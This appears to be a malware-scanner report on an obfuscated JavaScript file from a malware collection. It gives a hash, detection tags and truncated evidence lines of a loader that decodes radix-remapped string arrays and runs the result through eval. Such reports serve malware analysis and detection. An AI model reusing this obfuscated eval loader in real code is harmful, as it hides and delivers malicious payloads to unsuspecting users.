Suspicious ^80% javascript-malware-collection Download

20151210_f941fbb3bdf0d323fd97b18bea5e16b9.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256c12555fdccf28962a62332b69bd313707541d02c7861d13faf97168b3c2e2648

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var aGtiuiZdoyyUC=[];
2AcOAawu=(-468+468)/887;while(true){if(AcOAawu>=(44801+383)/353){break;}aGtiuiZdoyyUC[AcOAawu]=String.fromCharCode(AcOAawu);AcOAawu++;}
3function UAgCn(byrMbTvWiaG,VzeBoZyvlXmgB,qTEuYHdZ){hfHP=parseInt(byrMbTvWiaG,VzeBoZyvlXmgB);ZUuQZ=hfHP.toString(qTEuYHdZ);return ZUuQZ;}function fpFgPLYzFHJGBda(ObtFDBgYEvIENQsnP){eval(ObtFDBgYEvIENQsnP)}
4function jaANhKEzbucSwVLEVpiyUyjeuTdntfRXljidcuysFXNmcKAeYKsnFF(MtMVTVcxGrNJf,NAPtKrYmhuTgPT){ return aGtiuiZdoyyUC[UAgCn(MtMVTVcxGrNJf[NAPtKrYmhuTgPT],(2710+315)/121,(7157+283)/744)];}
5function fOnzKEv(TicpdbJbnhthStDtvSuMznScIUDWFAfGmAxy) {return !isNaN(parseFloat(TicpdbJbnhthStDtvSuMznScIUDWFAfGmAxy)) && isFinite(TicpdbJbnhthStDtvSuMznScIUDWFAfGmAxy);}
6function zwqIiTJHQup(UYPcmkSC,pznnLh){return UYPcmkSC.split(pznnLh)}
7var O=[];O[0]="d";O[1]="a";O[2]="d";O[3]="a";O[4]="4i";O[5]="3m";O[6]="4e";O[7]="17";O[8]="2n";O[9]="17";O[10]="2b";O …

Massive array index assignment line 8

8:2994… ";Q[750]="1n";Q[751]="23";Q[752]="1g";Q[753]="17";Q[754]="17";Q[755]="4n";Q[756]="d";Q[757]="a";Q[758]="17";Q[759]="17";Q[760]="17";Q[761]="17";Q[762]="17";Q[763]="17";Q[764]="17";Q[765]="17";Q[766]="48";Q[767]="47";Q[768]="17";Q[769]="2b";Q[770]="17";Q[771]="1o";Q[772]="29";Q[773]="17";Q[774]="47";Q[775]="2k";Q[776]="3b";Q[777]="1l";Q[778]="4c";Q[779]="4b";Q[780]="4f";Q[781]="45";Q[782]="4g";Q[783]="45";Q …